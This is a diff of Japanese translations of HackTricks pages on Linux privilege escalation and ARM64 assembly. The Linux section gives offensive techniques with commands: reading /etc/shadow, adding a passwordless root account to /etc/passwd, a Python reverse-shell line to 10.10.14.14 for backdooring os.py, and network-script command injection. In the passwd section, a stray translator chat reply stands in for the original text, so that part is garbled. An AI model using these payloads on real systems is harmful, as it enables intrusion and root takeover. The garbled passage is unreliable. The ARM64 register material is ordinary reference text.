パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、サーバーが空のパスワード文字列のアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 +- **PubkeyAuthentication:** public key 認証が許可されているかどうかを指定します。デフォルトは `yes` です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、空のパスワード文字列を持つアカウントでのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -root が ssh を使ってログインできるかどうかを指定します。デフォルトは `no` です。可能な値: +root が ssh でログインできるかどうかを指定します。デフォルトは `no` です。可能な値: -- `yes`: root はパスワードおよび秘密鍵でログインできます -- `without-password` または `prohibit-password`: root は秘密鍵のみでログインできます -- `forced-commands-only`: root は秘密鍵でのみログインでき、かつ command オプションが指定されている場合に限ります -- `no` : 許可しない +- `yes`: root はパスワードおよび private key でログインできます +- `without-password` or `prohibit-password`: root は private key のみでログインできます +- `forced-commands-only`: root は private key でのみ、かつコマンドオプションが指定されている場合にのみログインできます +- `no` : ログイン不可 ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定できます**（`/` で始まる）または**ユーザーのホームからの相対パス**を指定できます。例えば: +ユーザ認証に使用できる public keys を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定することができます**（`/` で始まる）または**ユーザのホームからの相対パスを指定することができます**。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー「**testusername**」の**private**キーで login を試みると、ssh があなたのキーの public key を `/home/testusername/.ssh/authorized_keys` および `/home/testusername/access` にあるものと比較することを示します。 +その設定は、ユーザー「**testusername**」の**private**キーでログインしようとすると、ssh があなたのキーの公開鍵を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にある鍵と比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding は、サーバー上に（パスフレーズ無しで）鍵を残しておく代わりに、**use your local SSH keys instead of leaving keys** ことを可能にします。つまり、ssh であるホストへ **jump** し、そこから最初のホストにある **key** を **using** して別のホストへ **jump to another** ことができます。 +SSH agent forwarding により、サーバー上に（パスフレーズなしで）鍵を置いたままにするのではなく、**ローカルの SSH キーを使用する**ことができます。つまり、ssh を使って **ホストに接続** し、そこから **最初のホストにある鍵を使用して** 別のホストへ **接続** することが可能になります。 このオプションは `$HOME/.ssh.config` に次のように設定する必要があります: ``` @@ -1170,21 +1167,21 @@ ForwardAgent yes ``` Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +ファイル `/etc/ssh_config` はこのオプションを **上書き** してこの構成を許可または拒否することができます。\ +ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` によって ssh-agent forwarding を **許可** または **拒否** できます（デフォルトは allow）。 -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +環境で Forward Agent が設定されているのを見つけたら、次のページを必ず読んでください — **悪用して権限を昇格できる可能性があります**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## 興味深いファイル -### Profiles files +### プロファイルファイル -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +ファイル `/etc/profile` と `/etc/profile.d/` 以下のファイルは、**ユーザーが新しいシェルを起動したときに実行されるスクリプトです**。したがって、それらのいずれかに **書き込みや修正ができれば、権限を昇格できる**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1192,35 +1189,36 @@ ls -l /etc/profile /etc/profile.d/ ### Passwd/Shadow ファイル -使用している OS によっては `/etc/passwd` や `/etc/shadow` が別名だったり、バックアップが存在することがあります。そのため、**すべてを見つけ出し**、それらが**読めるか確認して**、ファイル内に**ハッシュが含まれているか**を確認することが推奨されます: +OSによっては `/etc/passwd` と `/etc/shadow` ファイルが別名になっていたり、バックアップが存在する場合があります。したがって、**それらをすべて見つけ**、**読み取れるかチェック**して、ファイル内に**ハッシュがあるか**確認することをおすすめします： ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`（または同等の）ファイル内に**password hashes**が見つかることがあります。 +場合によっては、`/etc/passwd`（または同等の）ファイルの中に**password hashes**が含まれていることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### 書き込み可能な /etc/passwd +### 書き込み可能 /etc/passwd -まず、次のいずれかのコマンドで password を生成します。 +まず、以下のいずれかのコマンドでパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -README.md の該当内容をこちらに貼ってください。 -その内容を日本語に翻訳し、指定どおり Markdown/HTML タグやパスを保持したまま翻訳します。 +その README.md の内容（src/linux-hardening/privilege-escalation/README.md の全テキスト）を貼ってください。翻訳して返します。 -また、「user `hacker` を追加し、生成したパスワードを追加する」について確認です：README に生成パスワードを平文で記載してよいですか？（セキュリティ上の注意：平文パスワードの公開は推奨されません。） +補足確認： +- 「Then add the user `hacker` and add the generated password.」を翻訳文に追加してよいですか？（追加する場合、パスワードをこちらで生成して本文に含めますか、それとも既にある生成済みパスワードを提供しますか） +- 注意：実際のシステム上でユーザーを作成することはできません。必要であれば、ユーザー追加用のコマンド例（useradd, passwd など）と生成したパスワードは翻訳内に記載できます。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドで `hacker:hacker` を使うことができます +これで `su` コマンドで `hacker:hacker` を使えます。 あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ 警告: マシンの現在のセキュリティが低下する可能性があります。 @@ -1228,20 +1226,20 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSD プラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -いくつかの機密ファイルに**書き込み**できるか確認してください。例えば、いくつかの**サービス設定ファイル**に書き込めますか？ +いくつかの機密ファイルに**書き込みできるか**を確認してください。例えば、いくつかの**サービスの設定ファイル**に書き込めますか？ ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス設定ファイルを修正できる**場合、次の行を修正できます: +例えば、マシンが **tomcat** サーバーを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイルを変更できる,** 場合は、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor は次回 tomcat を起動したときに実行されます。 +あなたの backdoor は次回 tomcat が起動すると実行されます。 ### フォルダの確認 @@ -1249,7 +1247,7 @@ Your backdoor は次回 tomcat を起動したときに実行されます。 ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇妙な場所/所有ファイル +### 奇妙な場所/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1266,7 +1264,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 直近数分で変更されたファイル +### 直近に変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1287,7 +1285,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Webファイル** +### **ウェブファイル** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1300,13 +1298,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。これは、**パスワードを含んでいる可能性のあるいくつかのファイル**を検索します。\ -この目的で使用できる**別の興味深いツール**は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux & Mac のローカルコンピュータに保存されている多数のパスワードを取得するためのオープンソースのアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを確認してください。**パスワードを含む可能性のある複数のファイル**を検索します。\ +**もう一つの興味深いツール**として使えるのが: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux、Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 ### ログ -ログを読むことができれば、**interesting/confidential information inside them** を見つけられるかもしれません。ログがより奇妙であればあるほど、（おそらく）より興味深いでしょう。\ -また、設定が "**bad**"（backdoored?）な **audit logs** の中には、この投稿で説明されているように監査ログ内に **record passwords** を記録できるものがあります: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +ログを読むことができれば、**その中から興味深い／機密情報を見つけられる可能性があります**。ログが奇妙であればあるほど、（おそらく）より興味深いでしょう。\ +また、設定が「**不適切**」（バックドアが仕込まれている？）な**監査ログ**は、監査ログ内に**パスワードを記録**させることを許す場合があり、この投稿で説明されています: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1326,43 +1324,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイルの**name**や**content**に**password**という単語が含まれているファイル、またログ内のIPsやemails、あるいはhashes regexpsも確認してください。\ -ここではこれらすべてを行う方法を列挙しませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が行う最新のチェックをご確認ください。 +ファイル名や内容に **password** を含むファイル、ログ内の IPs や emails、ハッシュの regexps も確認してください。 +ここでこれらすべての方法を列挙するつもりはありませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が行う最後のチェックを確認できます。 ## 書き込み可能なファイル ### Python library hijacking -もし、**どこから** python スクリプトが実行されるか分かっていて、そのフォルダに**書き込みできる**か、あるいは**python ライブラリを変更できる**なら、OS ライブラリを改変してバックドアを仕込むことができます（python スクリプトが実行される場所に書き込める場合は、os.py ライブラリをコピー＆ペーストしてください）。 +もし python スクリプトがどの **where** から実行されるか分かっていて、そのフォルダに **can write inside** か、**modify python libraries** できるなら、OS ライブラリを改変して backdoor することができます（python スクリプトが実行される場所に書き込みできる場合は、os.py ライブラリをコピーして貼り付けてください）。 -ライブラリに**backdoor the library**するには、os.py ライブラリの末尾に以下の行を追加してください (change IP and PORT): +ライブラリを **backdoor the library** するには、os.py ライブラリの末尾に以下の行を追加してください（IP と PORT を変更してください）： ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate の悪用 -`logrotate` の脆弱性により、ログファイルまたはその親ディレクトリに対して **書き込み権限** を持つユーザーが特権昇格を引き起こす可能性があります。これは、`logrotate` が多くの場合 **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するよう操作できるためです。権限は _/var/log_ だけでなく、ログローテーションが適用されるすべてのディレクトリで確認することが重要です。 +`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが特権を昇格できる可能性があります。これは、`logrotate` が多くの場合 **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作され得るためです。検査は _/var/log_ に限らず、ログローテーションが適用されるあらゆるディレクトリでパーミッションを確認することが重要です。 > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します +> この脆弱性は `logrotate` のバージョン `3.18.0` 以下に影響します -脆弱性の詳細は次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +詳細は次のページを参照してください: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** に非常によく似ています。したがって、ログを改変できることが判明した場合は、そのログを誰が管理しているかを確認し、ログをシンボリックリンクに置き換えて特権昇格できないか確認してください。 +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** に非常に類似しています。したがって、ログを改変できることが分かった場合は、それらのログを誰が管理しているかを確認し、ログを symlinks に置き換えることで特権昇格できないか確認してください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**脆弱性の参照:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -何らかの理由でユーザーが _/etc/sysconfig/network-scripts_ に `ifcf-` スクリプトを **書き込める** または既存のものを **編集できる** 場合、あなたのシステムは **pwned** です。 +何らかの理由でユーザーが _/etc/sysconfig/network-scripts_ に `ifcf-` スクリプトを **書き込める**、または既存のスクリプトを **修正できる** 場合、あなたの **system is pwned**。 -Network scripts（例：_ifcg-eth0_）はネットワーク接続に使用されます。見た目は .INI ファイルとまったく同じです。しかし、これらは Linux 上で Network Manager (dispatcher.d) によって \~sourced\~ されます。 +Network scripts（例: _ifcg-eth0_）はネットワーク接続に使われます。見た目は .INI ファイルとまったく同じです。しかし、Linuxでは Network Manager (dispatcher.d) によって ~sourced~ されます。 -私の場合、これらの network scripts における `NAME=` の扱いが正しくありません。名前に **スペース/空白が含まれていると、システムは空白以降の部分を実行しようとします**。つまり **最初の空白以降のすべてが root として実行されます**。 +私の場合、これらの network scripts 内の `NAME=` の値が正しく処理されていません。名前に **空白がある場合、システムは空白以降の部分を実行しようとします**。つまり、**最初の空白以降のすべてが root として実行されます**。 -例えば： _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1370,15 +1368,15 @@ DEVICE=eth0 ``` (_Network と /bin/id の間の空白に注意_) -### **init, init.d, systemd, and rc.d** +### **init、init.d、systemd、および rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +`/etc/init.d` ディレクトリは System V init (SysVinit) 用の **scripts** の格納場所です。これはクラシックな Linux サービス管理システムで、`start`、`stop`、`restart`、場合によっては `reload` といったサービス操作を行うスクリプトを含みます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 -一方で `/etc/init` は **Upstart** に関連付けられており、Ubuntu が導入したより新しい **service management** で、サービス管理用の設定ファイルを使用します。Upstart への移行後も、Upstart の互換レイヤにより SysVinit スクリプトは Upstart の設定と並行して利用され続けます。 +一方で、`/etc/init` は **Upstart** に関連しており、Ubuntu が導入した新しい **service management** で、サービス管理のための設定ファイルを使用します。Upstart への移行にもかかわらず、互換レイヤーのため SysVinit スクリプトは Upstart 設定と併用されることがよくあります。 -**systemd** はモダンな初期化およびサービスマネージャとして登場し、オンデマンドのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。配布パッケージ用のファイルは `/usr/lib/systemd/`、管理者による変更用は `/etc/systemd/system/` に整理され、システム管理作業を効率化します。 +**systemd** はより現代的な初期化およびサービスマネージャとして登場し、on-demand daemon starting、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/`、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理を簡素化します。 -## Other Tricks +## その他のトリック ### NFS Privilege escalation @@ -1403,7 +1401,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks は一般に syscall をフックして privileged kernel functionality を userspace の manager に公開します。manager 認証が弱い（例: FD-order に基づく署名チェックや脆弱なパスワード方式）場合、ローカルアプリが manager を偽装して、すでに root 化されたデバイス上で root にエスカレートすることが可能になります。詳細とエクスプロイトについては以下を参照してください: {{#ref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 4c89f8fee..e8cf069f8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,257 +1,258 @@ -# ARM64v8の紹介 +# ARM64v8入門 {{#include ../../../banners/hacktricks-training.md}} ## **例外レベル - EL (ARM64v8)** -ARMv8アーキテクチャでは、実行レベルは例外レベル（EL）として知られ、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的を持っています。 +ARMv8アーキテクチャでは、Exception Levels（EL）と呼ばれる実行レベルが実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的を持ちます： -1. **EL0 - ユーザーモード**: -- これは最も特権の低いレベルで、通常のアプリケーションコードを実行するために使用されます。 -- EL0で実行されるアプリケーションは互いに、またシステムソフトウェアから隔離されており、セキュリティと安定性が向上します。 -2. **EL1 - オペレーティングシステムカーネルモード**: -- ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。 -- EL1はEL0よりも多くの特権を持ち、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。 -3. **EL2 - ハイパーバイザーモード**: -- このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で複数のオペレーティングシステム（それぞれ独自のEL1で）を管理できます。 +1. **EL0 - ユーザモード**: +- 最も権限の低いレベルで、通常のアプリケーションコードの実行に使用されます。 +- EL0で動作するアプリケーションは互いにおよびシステムソフトウェアから分離されており、セキュリティと安定性が向上します。 +2. **EL1 - OSカーネルモード**: +- 多くのオペレーティングシステムカーネルはこのレベルで動作します。 +- EL1はEL0より多くの特権を持ち、システムリソースにアクセスできますが、システムの整合性を確保するための制約があります。 +3. **EL2 - ハイパーバイザモード**: +- 仮想化に使用されるレベルです。EL2で動作するハイパーバイザは同一ハードウェア上で複数のOS（それぞれがEL1で動作）を管理できます。 - EL2は仮想化環境の隔離と制御のための機能を提供します。 -4. **EL3 - セキュアモニターモード**: -- これは最も特権の高いレベルで、セキュアブートや信頼できる実行環境にしばしば使用されます。 -- EL3はセキュア状態と非セキュア状態（セキュアブート、信頼できるOSなど）間のアクセスを管理および制御できます。 +4. **EL3 - セキュアモニタモード**: +- 最も特権の高いレベルで、セキュアブートや信頼実行環境に使用されることが多いです。 +- EL3はセキュア状態と非セキュア状態間（例：secure boot、trusted OSなど）のアクセスを管理・制御できます。 -これらのレベルを使用することで、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に隔離し、システムのセキュリティと堅牢性を向上させるのに役立ちます。 +これらのレベルを利用することで、ユーザアプリケーションから最も特権の高いシステムソフトウェアに至るまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レイヤーのアプローチは、異なるシステムコンポーネントを効果的に分離し、システムのセキュリティと堅牢性を高めます。 ## **レジスタ (ARM64v8)** -ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル付けされています。各レジスタは**64ビット**（8バイト）の値を格納できます。32ビットの値のみを必要とする操作では、同じレジスタを32ビットモードで`w0`から`w30`の名前でアクセスできます。 +ARM64には`x0`から`x30`までの**31個の汎用レジスタ**があり、それぞれ**64ビット**（8バイト）値を格納できます。32ビット値のみを扱う操作の場合、同じレジスタは`w0`〜`w30`という名前で32ビットモードとしてアクセスできます。 -1. **`x0`**から**`x7`** - これらは通常、スクラッチレジスタとして使用され、サブルーチンにパラメータを渡すために使用されます。 -- **`x0`**は関数の戻りデータも持ちます。 -2. **`x8`** - Linuxカーネルでは、`x8`は`svc`命令のシステムコール番号として使用されます。**macOSではx16が使用されます！** -3. **`x9`**から**`x15`** - より一時的なレジスタで、ローカル変数にしばしば使用されます。 -4. **`x16`**と**`x17`** - **手続き内呼び出しレジスタ**。即時値のための一時的なレジスタです。また、間接関数呼び出しやPLT（手続きリンクテーブル）スタブにも使用されます。 -- **`x16`**は**macOS**における**`svc`**命令の**システムコール番号**として使用されます。 -5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています：Windowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルの現在実行中のタスク構造へのポインタ。 -6. **`x19`**から**`x28`** - これらは呼び出し側が保存するレジスタです。関数はこれらのレジスタの値を呼び出し元のために保持しなければならず、スタックに保存され、呼び出し元に戻る前に回復されます。 -7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成され、**`x29`**レジスタは**スタックに保存され**、**新しい**フレームポインタアドレス（**`sp`**アドレス）が**このレジスタに保存されます**。 -- このレジスタは**汎用レジスタ**としても使用できますが、通常は**ローカル変数**への参照として使用されます。 -8. **`x30`**または**`lr`** - **リンクレジスタ**。`BL`（リンク付き分岐）または`BLR`（レジスタへのリンク付き分岐）命令が実行されるときに**戻りアドレス**を保持し、**`pc`**値をこのレジスタに保存します。 +1. **`x0`** 〜 **`x7`** - 通常スクラッチレジスタとして、サブルーチンへのパラメータ渡しに使われます。 +- **`x0`** は関数の戻り値も格納します。 +2. **`x8`** - Linuxカーネルでは、`svc`命令のシステムコール番号に`x8`が使われます。**macOSではx16が使われます！** +3. **`x9`** 〜 **`x15`** - ローカル変数などに使われる一時レジスタ。 +4. **`x16`** と **`x17`** - **Intra-procedural Call Registers**。即値用の一時レジスタ。間接関数呼び出しやPLTスタブにも使われます。 +- **`x16`** は **macOS** における **`svc`** 命令の **システムコール番号** に使われます。 +5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用可能ですが、プラットフォームによっては専用用途に予約されています：Windowsではカレントスレッド環境ブロックへのポインタ、Linuxカーネルでは現在実行中のタスク構造体へのポインタなど。 +6. **`x19`** 〜 **`x28`** - カリー保存（callee-saved）レジスタ。関数は呼び出し側のためにこれらの値を保持する必要があり、スタックに保存して呼び出し元に戻る前に復元します。 +7. **`x29`** - **フレームポインタ**。スタックフレームを追跡するために使用されます。関数呼び出しで新しいスタックフレームが作成されると、**`x29`** は**スタックに保存**され、新しいフレームポインタアドレス（`sp`のアドレス）が**このレジスタに格納**されます。 +- このレジスタは通常ローカル変数の参照に使われますが、汎用レジスタとしても使用可能です。 +8. **`x30`** または **`lr`** - **リンクレジスタ**。`BL`（Branch with Link）や`BLR`（Branch with Link to Register）命令が実行されると、戻りアドレス（`pc`の値）をこのレジスタに保存します。 - 他のレジスタと同様に使用することもできます。 -- 現在の関数が新しい関数を呼び出す場合、`lr`を上書きするため、最初にスタックに保存します。これがエピローグです（`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得）し、最後に回復します。これがプロローグです（`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復し、戻ります）。 -9. **`sp`** - **スタックポインタ**。スタックのトップを追跡するために使用されます。 -- **`sp`**の値は常に少なくとも**クワッドワード**の**アライメント**を維持する必要があります。さもなければアライメント例外が発生する可能性があります。 -10. **`pc`** - **プログラムカウンタ**。次の命令を指します。このレジスタは例外生成、例外戻り、分岐を通じてのみ更新できます。このレジスタを読み取ることができる唯一の通常の命令は、分岐付きリンク命令（BL、BLR）で、**`pc`**アドレスを**`lr`**（リンクレジスタ）に保存します。 -11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます（一般的な操作）または**`subs`**を使用して比較を行うために使用できます（例：**`subs XZR, Xn, #10`**は結果のデータをどこにも保存しません（**`xzr`**に）。 +- 現在の関数が新しい関数を呼び出して`lr`を上書きする場合、関数の冒頭で`lr`をスタックに保存します（これはエピローグ相当の処理：`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存しスペースを確保して新しい`fp`を設定）し、終了時に復元します（プロローグ相当の処理：`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を復元して戻る）。 +9. **`sp`** - **スタックポインタ**。スタックの先端を追跡するために使用されます。 +- **`sp`** の値は常に少なくとも**クアッドワード整列（quadword alignment）**を保つ必要があり、そうでないとアラインメント例外が発生することがあります。 +10. **`pc`** - **プログラムカウンタ**。次の命令を指します。このレジスタは例外生成、例外復帰、分岐によってのみ更新できます。通常の命令でこのレジスタを読むのは、`BL`や`BLR`といったリンク付き分岐命令だけで、それらは`pc`アドレスを`lr`に格納します。 +11. **`xzr`** - **ゼロレジスタ**。32ビット形は**`wzr`**と呼ばれます。ゼロ値を簡単に得るため（一般的な操作）や、`subs`のように結果をどこにも格納しない比較に使えます（例：`subs XZR, Xn, #10`）。 -**`Wn`**レジスタは**`Xn`**レジスタの**32ビット**バージョンです。 +**`Wn`** レジスタは **`Xn`** レジスタの **32ビット版** です。 + +> [!TIP] +> X0〜X18のレジスタは破壊可能（volatile）で、関数呼び出しや割り込みによって値が変更される可能性があります。一方、X19〜X28は非破壊（non-volatile）で、関数呼び出しの間に値を保持する必要があります（"callee saved"）。 ### SIMDおよび浮動小数点レジスタ -さらに、最適化された単一命令複数データ（SIMD）操作や浮動小数点演算に使用できる**128ビット長の32のレジスタ**があります。これらはVnレジスタと呼ばれますが、**64**ビット、**32**ビット、**16**ビット、**8**ビットでも動作し、その場合は**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**、**`Bn`**と呼ばれます。 +さらに、最適化されたSIMD（Single Instruction Multiple Data）操作および浮動小数点演算に使用できる128ビット長の**32個のレジスタ**があります。これらはVnレジスタと呼ばれますが、64ビット、32ビット、16ビット、8ビットでも動作可能で、その場合はそれぞれ**`Qn`**, **`Dn`**, **`Sn`**, **`Hn`**, **`Bn`** と呼ばれます。 ### システムレジスタ -**数百のシステムレジスタ**、特別目的レジスタ（SPR）とも呼ばれ、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\ -これらは専用の特別命令**`mrs`**および**`msr`**を使用してのみ読み取ったり設定したりできます。 +**何百ものシステムレジスタ**（special-purpose registers, SPRs）があり、プロセッサの動作を**監視**および**制御**するために使われます。\ +これらは専用の命令 **`mrs`** と **`msr`** を使ってのみ読み書きできます。 